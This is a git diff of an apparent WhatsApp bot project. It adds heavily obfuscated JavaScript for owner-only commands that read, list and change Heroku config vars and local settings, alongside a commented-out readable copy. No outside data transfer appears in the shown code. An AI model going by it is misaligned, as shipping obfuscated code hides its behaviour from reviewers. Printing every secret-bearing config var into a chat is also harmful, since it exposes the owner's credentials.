_0x56495f*_0x6797c0;},'LfYjH':_0x2e28f3(0x229)+_0x2e28f3(0x1cf)+_0x2e28f3(0x1c2)+_0x2e28f3(0x227)+'..','pQOvw':_0x2e28f3(0x1d8),'DfmuY':_0x2e28f3(0x22b)+_0x2e28f3(0x1c8),'iwZBy':_0x2e28f3(0x1d5)+_0x2e28f3(0x1cc),'AywyT':_0x2e28f3(0x1da)+_0x2e28f3(0x1e3)+_0x2e28f3(0x20f)+_0x2e28f3(0x1fb)+_0x2e28f3(0x1e9)+_0x2e28f3(0x221)+_0x2e28f3(0x1cb),'xLsFZ':_0x2e28f3(0x1e5)+_0x2e28f3(0x1f3)+'e:'};console[_0x2e28f3(0x1e1)](_0x1aaf45[_0x2e28f3(0x1dd)]);const _0x2f4cde=[_0x1aaf45[_0x2e28f3(0x20e)],_0x1aaf45[_0x2e28f3(0x20a)],_0x1aaf45[_0x2e28f3(0x1ed)],_0x1aaf45[_0x2e28f3(0x226)],_0x1aaf45[_0x2e28f3(0x1e7)]],_0x28d68b=_0x1aaf45[_0x2e28f3(0x21a)],_0x4f1da5=_0x1aaf45[_0x2e28f3(0x21e)],_0x187fc8=_0x2e28f3(0x1e4)+_0x2e28f3(0x210)+_0x2e28f3(0x20b)+_0x2e28f3(0x1f1)+_0x2e28f3(0x1f5)+_0x2e28f3(0x1d2)+_0x2e28f3(0x205)+_0x2e28f3(0x1de);try{const _0x5b5efe=_0x2f4cde[Math[_0x2e28f3(0x1fc)](_0x1aaf45[_0x2e28f3(0x1cd)](Math[_0x2e28f3(0x225)](),_0x2f4cde[_0x2e28f3(0x209)]))];await _0x4e08e3[_0x2e28f3(0x22c)+'e'](_0x227736,{'text':_0x1aaf45[_0x2e28f3(0x1c3)]}),await new Promise(_0x5850fb=>setTimeout(_0x5850fb,-0x5c*0x5b+-0x7*-0x58f+-0x24d)),await _0x4e08e3[_0x2e28f3(0x22c)+'e'](_0x227736,{'audio':{'url':_0x5b5efe},'mimetype':_0x1aaf45[_0x2e28f3(0x21b)],'ptt':!![],'caption':_0x187fc8,'contextInfo':{'mentionedJid':[_0x3e7674[_0x2e28f3(0x211)+_0x2e28f3(0x223)]||_0x227736],'externalAdReply':{'title':_0x1aaf45[_0x2e28f3(0x1fa)],'body':_0x1aaf45[_0x2e28f3(0x21f)],'thumbnailUrl':_0x28d68b,'sourceUrl':_0x4f1da5,'mediaType':0x2,'renderLargeThumbnail':!![]}}}),console[_0x2e28f3(0x1e1)](_0x1aaf45[_0x2e28f3(0x201)]);}catch(_0x4a7652){console[_0x2e28f3(0x1d0)](_0x1aaf45[_0x2e28f3(0x1f9)],_0x4a7652[_0x2e28f3(0x213)]);}}),console[_0x3e43c0(0x1e1)](_0x3e43c0(0x1ce)+_0x3e43c0(0x203)+'y.');
\ No newline at end of file
diff --git a/scs/bmwhrk.js b/scs/bmwhrk.js
new file mode 100644
index 0000000..79c1043
--- /dev/null
+++ b/scs/bmwhrk.js
@@ -0,0 +1,334 @@
+
+const _0x2cf381=_0x5ac8;(function(_0x462270,_0x1b791a){const _0x4348ca=_0x5ac8,_0x1220a5=_0x462270();while(!![]){try{const _0x284f60=-parseInt(_0x4348ca(0x1aa))/0x1*(-parseInt(_0x4348ca(0x19b))/0x2)+parseInt(_0x4348ca(0x181))/0x3*(parseInt(_0x4348ca(0x1c7))/0x4)+-parseInt(_0x4348ca(0x1bb))/0x5*(-parseInt(_0x4348ca(0x1ac))/0x6)+-parseInt(_0x4348ca(0x1b9))/0x7+parseInt(_0x4348ca(0x197))/0x8+-parseInt(_0x4348ca(0x180))/0x9+parseInt(_0x4348ca(0x1c8))/0xa;if(_0x284f60===_0x1b791a)break;else _0x1220a5['push'](_0x1220a5['shift']());}catch(_0x54290a){_0x1220a5['push'](_0x1220a5['shift']());}}}(_0x5439,0x711b0));function _0x5ac8(_0x431fb2,_0x7e63c9){const _0x543944=_0x5439();return _0x5ac8=function(_0x5ac8e9,_0x45054f){_0x5ac8e9=_0x5ac8e9-0x176;let _0x45bda4=_0x543944[_0x5ac8e9];return _0x45bda4;},_0x5ac8(_0x431fb2,_0x7e63c9);}function _0x5439(){const _0x49d674=['stanzaId','utf-8','heroku','patch','insert\x20the\x20variable\x20name\x20in\x20capital\x20letter','description','/apps/','2376648aNdqQw','*\x20=>\x20','../Ibrahim/adams','\x20*BMW\x20VAR\x20SETTINGS*\x20\x0a\x0a','30cBmGRI','HEROKU_APY_KEY','\x0aChoose\x20a\x20variable\x20by\x20replying\x20its\x20number','(((.+)+)+)+$','pm2\x20restart\x20all','setprefix','yes','writeFileSync','toString','log','Only\x20Mods\x20can\x20use\x20this\x20command','*Heroku\x20Vars\x20list\x20*\x0a\x0a','BOT_NAME','*Description*\x20:','Bad\x20format\x20;\x20Exemple\x20of\x20using\x20:\x0asetvar\x20OWNER_NAME=Ibrahim\x20Adams','1403OXNXtI','length','129450lSmuko','/config-vars','Error','HEROKU_APP_NAME','extendedTextMessage','sendMessage','keys','AUTO_DOWNLOAD_STATUS','message','error','key','child_process','get\x20a\x20heroku\x20var','4512963ctyWnK','nom','75RtBWvb','command\x20reserved\x20for\x20bot\x20owner','awaitForMessage','variable\x20refresh\x0a\x20restart\x20in\x20progress....','Please\x20fill\x20in\x20the\x20HEROKU_APP_NAME\x20and\x20HEROKU_APY_KEY\x20environment\x20variables','HEROKU','constructor','setvar','heroku-client','BOT_MENU_LINKS','PUBLIC_MODE','Heroku','28dcWpVB','5850420OIfFjA','map','env','STARTING_BOT_MESSAGE','split','text','warncount','\x20\x20\x20\x20*BMW\x20VAR\x20SETTINGS*\x20\x0a\x0a','join','get\x20all\x20heroku\x20vars','only\x20Mods\x20can\x20use\x20this\x20commande','contextInfo','PRESENCE','set.env','8122779LJoyMK','335883OMNmSx','PM_PERMIT','🚘\x20*','The\x20environment\x20variable\x20description\x20was\x20not\x20found.','-\x20*','Heroku\x20vars\x20are\x20rebooting\x20,\x20Redeploying....','get','edit\x20settings\x20of\x20the\x20bot','readFileSync','WARN_COUNT','variable\x20refresh,\x20restart\x20in\x20progress....','\x0a└──────\x20⋆⋅☆⋅⋆\x20──────┘\x0a\x0aPlease\x20reply\x20on\x20message\x20with\x20the\x20number\x20corresponding\x20to\x20your\x20choice','settings','search','parse'];_0x5439=function(){return _0x49d674;};return _0x5439();}const {adams}=require(_0x2cf381(0x199)),s=require('../config'),fs=require('fs'),dotenv=require('dotenv');function getDescriptionFromEnv(_0x396d52){const _0x291b1f=_0x2cf381;filePath='./app.json';const _0x8c8ee0=fs[_0x291b1f(0x189)](filePath,_0x291b1f(0x191)),_0x1fd930=JSON[_0x291b1f(0x18f)](_0x8c8ee0),_0x30138d=_0x1fd930[_0x291b1f(0x1ca)][_0x396d52];return _0x30138d&&_0x30138d['description']?_0x30138d[_0x291b1f(0x195)]:_0x291b1f(0x184);}adams({'nomCom':_0x2cf381(0x1c2),'categorie':'heroku','description':'set\x20a\x20heroku\x20var'},async(_0x4bdf5a,_0x27ad89,_0x4276d9)=>{const _0x3a29b2=_0x2cf381,{ms:_0x19e904,repondre:_0x111d17,superUser:_0x54ed3b,arg:_0x22f28d}=_0x4276d9;if(!_0x54ed3b){_0x111d17(_0x3a29b2(0x17c));return;};if(s['HEROKU_APP_NAME']==null||s[_0x3a29b2(0x19c)]==null){_0x111d17(_0x3a29b2(0x1bf));return;};if(!_0x22f28d[0x0]||!_0x22f28d['join']('')[_0x3a29b2(0x176)]('=')){_0x111d17(_0x3a29b2(0x1a9));return;};const _0x23f1e4=_0x22f28d[_0x3a29b2(0x17a)]('\x20'),_0x343480=require('heroku-client'),_0x131a18=new _0x343480({'token':s[_0x3a29b2(0x19c)]});let _0x4af6f4='/apps/'+s[_0x3a29b2(0x1af)];await _0x131a18[_0x3a29b2(0x193)](_0x4af6f4+_0x3a29b2(0x1ad),{'body':{[_0x23f1e4[_0x3a29b2(0x176)]('=')[0x0]]:_0x23f1e4['split']('=')[0x1]}}),await _0x111d17(_0x3a29b2(0x186));}),adams({'nomCom':'getallvar','categorie':'heroku','description':_0x2cf381(0x17b)},async(_0x3fcb26,_0x29194c,_0x2fcba8)=>{const _0x4899ac=_0x2cf381,{ms:_0x3b642f,repondre:_0x1378b4,superUser:_0x1677ec,arg:_0x5e7639}=_0x2fcba8;if(!_0x1677ec){_0x1378b4('only\x20mods\x20can\x20use\x20this\x20commande');return;};if(s[_0x4899ac(0x1af)]==null||s[_0x4899ac(0x19c)]==null){_0x1378b4(_0x4899ac(0x1bf));return;};const _0x542360=require('heroku-client'),_0x4cfe44=new _0x542360({'token':s[_0x4899ac(0x19c)]});let _0xde26d4='/apps/'+s[_0x4899ac(0x1af)],_0xceffee=await _0x4cfe44[_0x4899ac(0x187)](_0xde26d4+_0x4899ac(0x1ad)),_0x2e958d=_0x4899ac(0x1a6);for(vr in _0xceffee){_0x2e958d+=_0x4899ac(0x183)+vr+'*\x20'+'=\x20'+_0xceffee[vr]+'\x0a';}_0x1378b4(_0x2e958d);}),adams({'nomCom':'getvar','categorie':_0x2cf381(0x192),'description':_0x2cf381(0x1b8)},async(_0x19935c,_0x68589a,_0x222e7f)=>{const _0xc9d09f=_0x2cf381,{ms:_0x58a77f,repondre:_0x2ce9fc,superUser:_0x57592f,arg:_0x51f6ea}=_0x222e7f;if(!_0x57592f){_0x2ce9fc(_0xc9d09f(0x1a5));return;};if(s[_0xc9d09f(0x1af)]==null||s[_0xc9d09f(0x19c)]==null){_0x2ce9fc('Please\x20fill\x20in\x20the\x20HEROKU_APP_NAME\x20and\x20HEROKU_APY_KEY\x20environment\x20variables');return;};if(!_0x51f6ea[0x0]){_0x2ce9fc(_0xc9d09f(0x194));return;};try{const _0xc2d1ce=require('heroku-client'),_0x2a0369=new _0xc2d1ce({'token':s['HEROKU_APY_KEY']});let _0x46c7e7='/apps/'+s[_0xc9d09f(0x1af)],_0x4aa13d=await _0x2a0369[_0xc9d09f(0x187)](_0x46c7e7+_0xc9d09f(0x1ad));for(vr in _0x4aa13d){if(_0x51f6ea['join']('\x20')===vr)return _0x2ce9fc(vr+'=\x20'+_0x4aa13d[vr]);}}catch(_0x13d485){_0x2ce9fc(_0xc9d09f(0x1ae)+_0x13d485);}}),adams({'nomCom':_0x2cf381(0x18d),'categorie':_0x2cf381(0x1c6),'description':_0x2cf381(0x188)},async(_0x20c0fc,_0x21dcce,_0x4ddcd7)=>{const _0xb18a95=_0x2cf381,{ms:_0x5f2fa3,repondre:_0x3e9d56,superUser:_0x2eab65,auteurMessage:_0x5db4c6}=_0x4ddcd7;if(!_0x2eab65){_0x3e9d56('command\x20reserved\x20for\x20bot\x20owner');return;};let _0x40730a=[{'nom':'AUTO_READ_STATUS','choix':['yes','no']},{'nom':_0xb18a95(0x1b3),'choix':[_0xb18a95(0x1a1),'no']},{'nom':_0xb18a95(0x182),'choix':['yes','no']},{'nom':_0xb18a95(0x1c5),'choix':[_0xb18a95(0x1a1),'no']},{'nom':_0xb18a95(0x1cb),'choix':[_0xb18a95(0x1a1),'no']},{'nom':_0xb18a95(0x17e),'choix':['1','2','3']}];function _0x46b434(_0x2a7b5a,_0x1792dc){const _0x524294=_0xb18a95;if(_0x2a7b5a[_0x524294(0x1ba)]<_0x1792dc[_0x524294(0x1ba)])return-0x1;if(_0x2a7b5a[_0x524294(0x1ba)]>_0x1792dc[_0x524294(0x1ba)])return 0x1;return 0x0;}_0x40730a['sort'](_0x46b434);let _0x9b282b=_0xb18a95(0x19a);for(v=0x0;v<_0x40730a['length'];v++){_0x9b282b+=v+0x1+_0xb18a95(0x185)+_0x40730a[v][_0xb18a95(0x1ba)]+'*\x0a';}_0x9b282b+=_0xb18a95(0x19d);let _0x4f5c13=await _0x21dcce[_0xb18a95(0x1b1)](_0x20c0fc,{'text':_0x9b282b},{'quoted':_0x5f2fa3});console[_0xb18a95(0x1a4)](_0x4f5c13);let _0x1b5321=await _0x21dcce[_0xb18a95(0x1bd)]({'chatJid':_0x20c0fc,'sender':_0x5db4c6,'timeout':0xea60,'filter':_0x264053=>_0x264053['message']['extendedTextMessage']&&_0x264053['message'][_0xb18a95(0x1b0)][_0xb18a95(0x17d)]['stanzaId']==_0x4f5c13['key']['id']&&_0x264053[_0xb18a95(0x1b4)][_0xb18a95(0x1b0)][_0xb18a95(0x177)]>0x0&&_0x264053[_0xb18a95(0x1b4)]['extendedTextMessage'][_0xb18a95(0x177)]<=_0x40730a[_0xb18a95(0x1ab)]}),_0x55093c=_0x1b5321['message'][_0xb18a95(0x1b0)][_0xb18a95(0x177)]-0x1,{nom:_0x4ebc57,choix:_0x3f2d7c}=_0x40730a[_0x55093c],_0x1de135=_0xb18a95(0x179);_0x1de135+='*Name*\x20:'+_0x4ebc57+'\x0a',_0x1de135+=_0xb18a95(0x1a8)+getDescriptionFromEnv(_0x4ebc57)+'\x0a\x0a',_0x1de135+='┌──────\x20⋆⋅☆⋅⋆\x20──────┐\x0a\x0a';for(i=0x0;i<_0x3f2d7c[_0xb18a95(0x1ab)];i++){_0x1de135+='*\x20*'+(i+0x1)+_0xb18a95(0x198)+_0x3f2d7c[i]+'\x0a';}_0x1de135+=_0xb18a95(0x18c);let _0x1e2745=await _0x21dcce[_0xb18a95(0x1b1)](_0x20c0fc,{'text':_0x1de135},{'quoted':_0x1b5321}),_0x31adfe=await _0x21dcce[_0xb18a95(0x1bd)]({'chatJid':_0x20c0fc,'sender':_0x5db4c6,'timeout':0xea60,'filter':_0x49d419=>_0x49d419[_0xb18a95(0x1b4)][_0xb18a95(0x1b0)]&&_0x49d419[_0xb18a95(0x1b4)][_0xb18a95(0x1b0)][_0xb18a95(0x17d)][_0xb18a95(0x190)]==_0x1e2745[_0xb18a95(0x1b6)]['id']&&_0x49d419[_0xb18a95(0x1b4)][_0xb18a95(0x1b0)][_0xb18a95(0x177)]>0x0&&_0x49d419['message'][_0xb18a95(0x1b0)]['text']<=_0x3f2d7c['length']}),_0x516d56=_0x31adfe[_0xb18a95(0x1b4)][_0xb18a95(0x1b0)][_0xb18a95(0x177)]-0x1;if(s[_0xb18a95(0x1c0)]=='no')try{const _0x50b364=dotenv[_0xb18a95(0x18f)](fs[_0xb18a95(0x189)]('set.env',{'encoding':_0xb18a95(0x191)}));_0x50b364[_0x4ebc57]=_0x3f2d7c[_0x516d56];const _0x11753b=Object[_0xb18a95(0x1b2)](_0x50b364)['map'](_0x5ea4c4=>_0x5ea4c4+'='+_0x50b364[_0x5ea4c4])['join']('\x0a');fs[_0xb18a95(0x1a2)](_0xb18a95(0x17f),_0x11753b),_0x3e9d56(_0xb18a95(0x1be));const {exec:_0x4f66a0}=require(_0xb18a95(0x1b7));_0x4f66a0(_0xb18a95(0x19f));}catch(_0x5dda05){console[_0xb18a95(0x1b5)](_0x5dda05),_0x3e9d56('Error');}else{if(s['HEROKU_APP_NAME']==null||s[_0xb18a95(0x19c)]==null){_0x3e9d56(_0xb18a95(0x1bf));return;};const _0x5e9d97=require('heroku-client'),_0xf9f99f=new _0x5e9d97({'token':s[_0xb18a95(0x19c)]});let _0x1dff2a=_0xb18a95(0x196)+s[_0xb18a95(0x1af)];await _0xf9f99f[_0xb18a95(0x193)](_0x1dff2a+_0xb18a95(0x1ad),{'body':{[_0x4ebc57]:_0x3f2d7c[_0x516d56]}}),await _0x3e9d56(_0xb18a95(0x18b));}});function changevars(_0x392d30,_0x5ddc3d){const _0x52b59d=_0x2cf381,_0x37c354=(function(){let _0x28c539=!![];return function(_0x35c50c,_0x195e11){const _0x47cdc5=_0x28c539?function(){if(_0x195e11){const _0x2ec45b=_0x195e11['apply'](_0x35c50c,arguments);return _0x195e11=null,_0x2ec45b;}}:function(){};return _0x28c539=![],_0x47cdc5;};}()),_0x509e52=_0x37c354(this,function(){const _0x2259ba=_0x5ac8;return _0x509e52[_0x2259ba(0x1a3)]()[_0x2259ba(0x18e)](_0x2259ba(0x19e))['toString']()[_0x2259ba(0x1c1)](_0x509e52)['search'](_0x2259ba(0x19e));});_0x509e52(),adams({'nomCom':_0x392d30,'categorie':_0x52b59d(0x1c6)},async(_0x510a4d,_0x1b363c,_0x32a845)=>{const _0x2aa192=_0x52b59d,{arg:_0x1162a2,superUser:_0x208224,repondre:_0x48da79}=_0x32a845;if(!_0x208224){_0x48da79(_0x2aa192(0x1bc));return;};if(!_0x1162a2[0x0]){_0x48da79(getDescriptionFromEnv(_0x5ddc3d));return;};if(s['HEROKU']=='no')try{const _0x12db67=dotenv['parse'](fs['readFileSync'](_0x2aa192(0x17f),{'encoding':_0x2aa192(0x191)}));_0x12db67[_0x5ddc3d]=_0x1162a2[_0x2aa192(0x17a)]('\x20');const _0x3f191f=Object[_0x2aa192(0x1b2)](_0x12db67)[_0x2aa192(0x1c9)](_0x17d304=>_0x17d304+'='+_0x12db67[_0x17d304])['join']('\x0a');fs['writeFileSync'](_0x2aa192(0x17f),_0x3f191f),_0x48da79(_0x2aa192(0x1be));const {exec:_0x4fa49e}=require('child_process');_0x4fa49e(_0x2aa192(0x19f));}catch(_0x2830eb){console[_0x2aa192(0x1a4)](_0x2830eb),_0x48da79(_0x2aa192(0x1ae));}else{if(s[_0x2aa192(0x1af)]==null||s[_0x2aa192(0x19c)]==null){_0x48da79(_0x2aa192(0x1bf));return;};const _0x4e9f34=require(_0x2aa192(0x1c3)),_0x15a11c=new _0x4e9f34({'token':s[_0x2aa192(0x19c)]});let _0x3059d5='/apps/'+s[_0x2aa192(0x1af)];await _0x15a11c['patch'](_0x3059d5+_0x2aa192(0x1ad),{'body':{[_0x5ddc3d]:_0x1162a2[_0x2aa192(0x17a)]('\x20')}}),await _0x48da79(_0x2aa192(0x18b));}});};changevars(_0x2cf381(0x1a0),'PREFIX'),changevars('linkmenu',_0x2cf381(0x1c4)),changevars(_0x2cf381(0x178),_0x2cf381(0x18a)),changevars('botname',_0x2cf381(0x1a7));
+
+/**const {
+ adams
+} = require("../Ibrahim/adams");
+const s = require("../config");
+const fs = require('fs');
+const dotenv = require("dotenv");
+function getDescriptionFromEnv(_0x24f7af) {
+ filePath = './app.json';
+ const _0x4c6300 = fs.readFileSync(filePath, "utf-8");
+ const _0x4f2dfc = JSON.parse(_0x4c6300);
+ const _0x3b08a6 = _0x4f2dfc.env[_0x24f7af];
+ return _0x3b08a6 && _0
+ x3b08a6.description ? _0x3b08a6.description : "The environment variable description was not found.";
+}
+adams({
+ 'nomCom': "setvar",
+ 'categorie': "heroku",
+ 'description': "set a heroku var"
+}, async (_0x2023f8, _0x449747, _0x5c07a0) => {
+ const {
+ ms: _0x2791a3,
+ repondre: _0x1e059c,
+ superUser: _0xf264c9,
+ arg: _0x44e695
+ } = _0x5c07a0;
+ if (!_0xf264c9) {
+ _0x1e059c("only Mods can use this commande");
+ return;
+ }
+ ;
+ if (s.HEROKU_APP_NAME == null || s.HEROKU_APY_KEY == null) {
+ _0x1e059c("Please fill in the HEROKU_APP_NAME and HEROKU_APY_KEY environment variables");
+ return;
+ }
+ ;
+ if (!_0x44e695[0x0] || !_0x44e695.join('').split('=')) {
+ _0x1e059c("Bad format ; Exemple of using :\nsetvar OWNER_NAME=Ibrahim Adams");
+ return;
+ }
+ ;
+ const _0x1aca38 = _0x44e695.join(" ");
+ const _0x45f36d = require("heroku-client");
+ const _0x1c95a5 = new _0x45f36d({
+ 'token': s.HEROKU_APY_KEY
+ });
+ let _0x273a62 = "/apps/" + s.HEROKU_APP_NAME;
+ await _0x1c95a5.patch(_0x273a62 + "/config-vars", {
+ 'body': {
+ [_0x1aca38.split('=')[0x0]]: _0x1aca38.split('=')[0x1]
+ }
+ });
+ await _0x1e059c("Heroku vars are rebooting , Redeploying....");
+});
+adams({
+ 'nomCom': "getallvar",
+ 'categorie': "heroku",
+ 'description': "get all heroku vars"
+}, async (_0x11487a, _0x3ebb5c, _0x482621) => {
+ const {
+ ms: _0xdcc0da,
+ repondre: _0x384994,
+ superUser: _0x51f7b4,
+ arg: _0x3a3bce
+ } = _0x482621;
+ if (!_0x51f7b4) {
+ _0x384994("only mods can use this commande");
+ return;
+ }
+ ;
+ if (s.HEROKU_APP_NAME == null || s.HEROKU_APY_KEY == null) {
+ _0x384994("Please fill in the HEROKU_APP_NAME and HEROKU_APY_KEY environment variables");
+ return;
+ }
+ ;
+ const _0x51bc18 = require("heroku-client");
+ const _0xdce404 = new _0x51bc18({
+ 'token': s.HEROKU_APY_KEY
+ });
+ let _0xbd8a38 = '/apps/' + s.HEROKU_APP_NAME;
+ let _0x47049d = await _0xdce404.get(_0xbd8a38 + '/config-vars');
+ let _0xaaeb86 = "*Heroku Vars list *\n\n";
+ for (vr in _0x47049d) {
+ _0xaaeb86 += "🚘 *" + vr + "* " + "= " + _0x47049d[vr] + "\n";
+ }
+ _0x384994(_0xaaeb86);
+});
+adams({
+ 'nomCom': "getvar",
+ 'categorie': "heroku",
+ 'description': "get a heroku var"
+}, async (_0x4c604f, _0x38bdcd, _0x5f598) => {
+ const {
+ ms: _0x5d32f6,
+ repondre: _0x57426b,
+ superUser: _0x44ab9d,
+ arg: _0x2132ad
+ } = _0x5f598;
+ if (!_0x44ab9d) {
+ _0x57426b("Only Mods can use this command");
+ return;
+ }
+ ;
+ if (s.HEROKU_APP_NAME == null || s.HEROKU_APY_KEY == null) {
+ _0x57426b("Please fill in the HEROKU_APP_NAME and HEROKU_APY_KEY environment variables");
+ return;
+ }
+ ;
+ if (!_0x2132ad[0x0]) {
+ _0x57426b("insert the variable name in capital letter");
+ return;
+ }
+ ;
+ try {
+ const _0x13a40b = require("heroku-client");
+ const _0x26609d = new _0x13a40b({
+ 'token': s.HEROKU_APY_KEY
+ });
+ let _0x551c10 = "/apps/" + s.HEROKU_APP_NAME;
+ let _0x3c5941 = await _0x26609d.get(_0x551c10 + "/config-vars");
+ for (vr in _0x3c5941) {
+ if (_0x2132ad.join(" ") === vr) {
+ return _0x57426b(vr + "= " + _0x3c5941[vr]);
+ }
+ }
+ } catch (_0x4d48ad) {
+ _0x57426b("Error" + _0x4d48ad);
+ }
+});
+adams({
+ 'nomCom': "settings",
+ 'categorie': "Heroku",
+ 'description': "edit settings of the bot"
+}, async (_0x22a90b, _0x3a0b49, _0xb0bac1) => {
+ const {
+ ms: _0x1778e3,
+ repondre: _0x20e24a,
+ superUser: _0x1d63b6,
+ auteurMessage: _0x3dfda8
+ } = _0xb0bac1;
+ if (!_0x1d63b6) {
+ _0x20e24a("command reserved for bot owner");
+ return;
+ }
+ ;
+ let _0x3d9ece = [{
+ 'nom': "AUTO_READ_STATUS",
+ 'choix': ["yes", 'no']
+ }, {
+ 'nom': 'AUTO_DOWNLOAD_STATUS',
+ 'choix': ["yes", 'no']
+ }, {
+ 'nom': "PM_PERMIT",
+ 'choix': ["yes", 'no']
+ }, {
+ 'nom': 'PUBLIC_MODE',
+ 'choix': ["yes", 'no']
+ }, {
+ 'nom': "STARTING_BOT_MESSAGE",
+ 'choix': ["yes", 'no']
+ }, {
+ 'nom': "PRESENCE",
+ 'choix': ['1', '2', '3']
+ }];
+ function _0x46a4bd(_0x4eea55, _0x2c10b0) {
+ if (_0x4eea55.nom < _0x2c10b0.nom) {
+ return -0x1;
+ }
+ if (_0x4eea55.nom > _0x2c10b0.nom) {
+ return 0x1;
+ }
+ return 0x0;
+ }
+ _0x3d9ece.sort(_0x46a4bd);
+ let _0x19af99 = " *BMW VAR SETTINGS* \n\n";
+ for (v = 0x0; v < _0x3d9ece.length; v++) {
+ _0x19af99 += v + 0x1 + "- *" + _0x3d9ece[v].nom + "*\n";
+ }
+ _0x19af99 += "\nChoose a variable by replying its number";
+ let _0x4f6bef = await _0x3a0b49.sendMessage(_0x22a90b, {
+ 'text': _0x19af99
+ }, {
+ 'quoted': _0x1778e3
+ });
+ console.log(_0x4f6bef);
+ let _0x58a466 = await _0x3a0b49.awaitForMessage({
+ 'chatJid': _0x22a90b,
+ 'sender': _0x3dfda8,
+ 'timeout': 0xea60,
+ 'filter': _0x11b80a => _0x11b80a.message.extendedTextMessage && _0x11b80a.message.extendedTextMessage.contextInfo.stanzaId == _0x4f6bef.key.id && _0x11b80a.message.extendedTextMessage.text > 0x0 && _0x11b80a.message.extendedTextMessage.text <= _0x3d9ece.length
+ });
+ let _0x69d604 = _0x58a466.message.extendedTextMessage.text - 0x1;
+ let {
+ nom: _0x578334,
+ choix: _0x25f0c4
+ } = _0x3d9ece[_0x69d604];
+ let _0x258a95 = " *BMW VAR SETTINGS* \n\n";
+ _0x258a95 += "*Name* :" + _0x578334 + "\n";
+ _0x258a95 += "*Description* :" + getDescriptionFromEnv(_0x578334) + "\n\n";
+ _0x258a95 += "┌────── ⋆⋅☆⋅⋆ ──────┐\n\n";
+ for (i = 0x0; i < _0x25f0c4.length; i++) {
+ _0x258a95 += "* *" + (i + 0x1) + "* => " + _0x25f0c4[i] + "\n";
+ }
+ _0x258a95 += "\n└────── ⋆⋅☆⋅⋆ ──────┘\n\nPlease reply on message with the number corresponding to your choice";
+ let _0x5d441e = await _0x3a0b49.sendMessage(_0x22a90b, {
+ 'text': _0x258a95
+ }, {
+ 'quoted': _0x58a466
+ });
+ let _0x3e7e0b = await _0x3a0b49.awaitForMessage({
+ 'chatJid': _0x22a90b,
+ 'sender': _0x3dfda8,
+ 'timeout': 0xea60,
+ 'filter': _0x48d8f3 => _0x48d8f3.message.extendedTextMessage && _0x48d8f3.message.extendedTextMessage.contextInfo.stanzaId == _0x5d441e.key.id && _0x48d8f3.message.extendedTextMessage.text > 0x0 && _0x48d8f3.message.extendedTextMessage.text <= _0x25f0c4.length
+ });
+ let _0x49e163 = _0x3e7e0b.message.extendedTextMessage.text - 0x1;
+ if (s.HEROKU == 'no') {
+ try {
+ const _0x453ea5 = dotenv.parse(fs.readFileSync("set.env", {
+ 'encoding': "utf-8"
+ }));
+ _0x453ea5[_0x578334] = _0x25f0c4[_0x49e163];
+ const _0x41e94f = Object.keys(_0x453ea5).map(_0x2b690f => _0x2b690f + '=' + _0x453ea5[_0x2b690f]).join("\n");
+ fs.writeFileSync('set.env', _0x41e94f);
+ _0x20e24a("variable refresh\n restart in progress....");
+ const {
+ exec: _0x563f2e
+ } = require('child_process');
+ _0x563f2e("pm2 restart all");
+ } catch (_0x284a0c) {
+ console.error(_0x284a0c);
+ _0x20e24a("Error");
+ }
+ } else {
+ if (s.HEROKU_APP_NAME == null || s.HEROKU_APY_KEY == null) {
+ _0x20e24a("Please fill in the HEROKU_APP_NAME and HEROKU_APY_KEY environment variables");
+ return;
+ }
+ ;
+ const _0x16064c = require("heroku-client");
+ const _0x521885 = new _0x16064c({
+ 'token': s.HEROKU_APY_KEY
+ });
+ let _0x16e01d = "/apps/" + s.HEROKU_APP_NAME;
+ await _0x521885.patch(_0x16e01d + "/config-vars", {
+ 'body': {
+ [_0x578334]: _0x25f0c4[_0x49e163]
+ }
+ });
+ await _0x20e24a("variable refresh, restart in progress....");
+ }
+});
+function changevars(_0xa41969, _0x294fac) {
+ const _0x4aa666 = function () {
+ let _0x51e0de = true;
+ return function (_0x2c9b6c, _0x4697d1) {
+ const _0x222c97 = _0x51e0de ? function () {
+ if (_0x4697d1) {
+ const _0x477879 = _0x4697d1.apply(_0x2c9b6c, arguments);
+ _0x4697d1 = null;
+ return _0x477879;
+ }
+ } : function () {};
+ _0x51e0de = false;
+ return _0x222c97;
+ };
+ }();
+ const _0x1c8bcf = _0x4aa666(this, function () {
+ return _0x1c8bcf.toString().search("(((.+)+)+)+$").toString().constructor(_0x1c8bcf).search("(((.+)+)+)+$");
+ });
+ _0x1c8bcf();
+ adams({
+ 'nomCom': _0xa41969,
+ 'categorie': 'Heroku'
+ }, async (_0x5b3184, _0x3c2192, _0x393619) => {
+ const {
+ arg: _0x3d776c,
+ superUser: _0x6330e9,
+ repondre: _0x3a1f2b
+ } = _0x393619;
+ if (!_0x6330e9) {
+ _0x3a1f2b("command reserved for bot owner");
+ return;
+ }
+ ;
+ if (!_0x3d776c[0x0]) {
+ _0x3a1f2b(getDescriptionFromEnv(_0x294fac));
+ return;
+ }
+ ;
+ if (s.HEROKU == 'no') {
+ try {
+ const _0x429fb4 = dotenv.parse(fs.readFileSync("set.env", {
+ 'encoding': 'utf-8'
+ }));
+ _0x429fb4[_0x294fac] = _0x3d776c.join(" ");
+ const _0x322480 = Object.keys(_0x429fb4).map(_0xbf932e => _0xbf932e + '=' + _0x429fb4[_0xbf932e]).join("\n");
+ fs.writeFileSync('set.env', _0x322480);
+ _0x3a1f2b("variable refresh\n restart in progress....");
+ const {
+ exec: _0x7de845
+ } = require("child_process");
+ _0x7de845("pm2 restart all");
+ } catch (_0x2781b7) {
+ console.log(_0x2781b7);
+ _0x3a1f2b('Error');
+ }
+ } else {
+ if (s.HEROKU_APP_NAME == null || s.HEROKU_APY_KEY == null) {
+ _0x3a1f2b("Please fill in the HEROKU_APP_NAME and HEROKU_APY_KEY environment variables");
+ return;
+ }
+ ;
+ const _0x537e4b = require("heroku-client");
+ const _0x110661 = new _0x537e4b({
+ 'token': s.HEROKU_APY_KEY
+ });
+ let _0xc67a29 = "/apps/" + s.HEROKU_APP_NAME;
+ await _0x110661.patch(_0xc67a29 + "/config-vars", {
+ 'body': {
+ [_0x294fac]: _0x3d776c.join(" ")
+ }
+ });
+ await _0x3a1f2b("variable refresh, restart in progress....");
+ }
+ });
+}
+;
+changevars("setprefix", "PREFIX");
+changevars("linkmenu", "BOT_MENU_LINKS");
+changevars("warncount", "WARN_COUNT");
+changevars("botname", "BOT_NAME");**/
diff --git a/scs/bmwi.js b/scs/bmwi.js
new file mode 100644
index 0000000..c03482b
--- /dev/null
+++ b/scs/bmwi.js
@@ -0,0 +1,215 @@
+
+const axios = require("axios");
+const {adams} = require("../Ibrahim/adams");
